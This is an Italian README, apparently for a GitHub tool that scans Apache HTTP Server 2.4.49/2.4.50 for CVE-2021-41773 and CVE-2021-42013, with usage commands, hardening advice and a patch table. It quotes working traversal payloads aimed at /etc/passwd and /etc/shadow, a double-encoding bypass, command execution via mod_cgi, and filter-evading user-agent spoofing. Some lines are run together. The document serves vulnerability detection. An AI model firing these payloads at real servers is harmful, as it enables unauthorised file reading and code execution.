
Uno scanner di vulnerabilità completo basato su Python per rilevare le vulnerabilità di path traversal e remote code execution CVE-2021-41773 e CVE-2021-42013 nelle versioni 2.4.49 e 2.4.50 del server Apache HTTP.
Un scanner di vulnerabilità completo basato su Python per rilevare le vulnerabilità di path traversal e remote code execution CVE-2021-41773 e CVE-2021-42013 nelle versioni 2.4.49 e 2.4.50 di Apache HTTP Server.
CVE-2021-41773 e CVE-2021-42013 sono vulnerabilità critiche che interessano Apache HTTP Server e consentono agli aggressori di:
Queste vulnerabilità hanno ottenuto ampia attenzione nell'ottobre 2021 e sono state attivamente sfruttate in ambienti reali.
.%2e) di bypassare le restrizioni di directory/etc/passwd, eseguire comandi arbitrari se mod_cgi è abilitato%%32%65)✅ Rilevamento Doppio CVE: Test per entrambi CVE-2021-41773 e CVE-2021-42013 ✅ Test di Path Traversal: Multiple varianti di payload per tentativi di accesso ai file ✅ Test RCE: Verifica dell'esecuzione di codice remoto se mod_cgi è abilitato ✅ Scansione Batch: Scansiona più target da un file ✅ Output con Codice Colore: Risultati formattati facili da leggere ✅ Timeout Personalizzabile: Timeout delle richieste regolabile per reti inaffidabili ✅ Spoofing User-Agent: Supera i meccanismi di filtro di base
requests librarycolorama libraryhttps://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
Oppure installa manualmente:
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
python3 cve_scanner.py -u http://192.168.1.100
Crea targets.txt:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
Poi esegui:
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
Lo scanner fornisce un output dettagliato che include:
Esempio di output:
============================================================
CVE-2021-41773 / CVE-2021-42013 Vulnerability Scanner
============================================================
[*] Target: http://192.168.1.100
[*] Testing CVE-2021-41773 (Apache 2.4.49)...
[+] VULNERABLE to CVE-2021-41773!
[+] Payload: /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
Scan Summary
============================================================
[!] Target is VULNERABLE!
[!] Immediate patching required!
[*] Recommendation: Upgrade to Apache HTTP Server 2.4.51 or later
============================================================
.%2e)/cgi-bin/, /icons/, /images//etc/passwd e /etc/shadow%%32%65)id per verificare l'esecuzione del codiceuid= e gid= nella rispostaLo scanner cerca:
root: o daemon: da /etc/passwduid= e gid= dall'esecuzione del comando id<Directory />
Require all denied
</Directory>
# Limita l'accesso alle directory sensibili
<Directory /cgi-bin>
Require all denied
</Directory>
# Disabilita i collegamenti simbolici se non necessari
Options -FollowSymLinks
# Abilita le intestazioni di sicurezza
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Controlla la versione di Apache
apache2 -v
httpd -v
| Versione | Stato | Azione |
|---|---|---|
| 2.4.49 | ❌ Vulnerabile | Aggiorna immediatamente |
| 2.4.50 | ⚠️ Parzialmente Patchato | Aggiorna alla 2.4.51+ |
| 2.4.51+ | ✅ Patchato | Nessuna azione necessaria |
⚠️ IMPORTANTE: Questo strumento è destinato SOLO a test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è ILLEGALE secondo leggi come il Computer Fraud and Abuse Act (CFAA) e legislazione simile in tutto il mondo.
Solo Uso Autorizzato:
Avviso di Uso Improprio: Gli utenti sono responsabili di assicurarsi di avere l'autorizzazione esplicita prima di testare qualsiasi target. Gli autori non si assumono alcuna responsabilità per l'uso non autorizzato.
Questo scanner è ideale per:
.
├── cve_scanner.py # Script principale dello scanner
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
├── targets.txt # Elenco di esempio dei target
└── LICENSE # Informazioni sulla licenza
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
Soluzione: Aumenta il timeout con l'opzione -t
python3 cve_scanner.py -u http://target.com -t 30
Soluzione: Lo script disabilita la verifica SSL per impostazione predefinita. Se i problemi persistono, assicurati che i certificati Python siano aggiornati:
pip3 install --upgrade certifi
Soluzione: Assicurati che tutte le dipendenze siano installate
pip3 install -r requirements.txt
Soluzione: Rendi eseguibile lo script
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l con un file di target per scansioni multipleI contributi sono benvenuti! Per contribuire:
git checkout -b feature/miglioramento)git commit -m 'Aggiungi miglioramento')git push origin feature/miglioramento)Assicurati che:
Questo progetto è concesso in licenza con la MIT License. Vedi il file LICENSE per i dettagli.
Strumento di Test di Sicurezza
Creato per scopi educativi e test di sicurezza autorizzati.
Per domande, problemi o suggerimenti, apri una issue su GitHub.
Ultimo Aggiornamento: Novembre 2025
Stato: Sviluppo Attivo
Testato Su: Python 3.8+, Apache 2.4.49, 2.4.50
| Argomento | Breve | Tipo | Descrizione |
|---|
--url | -u | STRING | URL del target (es. http://example.com) |
--list | -l | FILE | File contenente l'elenco dei target (uno per riga) |
--timeout | -t | INTEGER | Timeout delle richieste in secondi (default: 10) |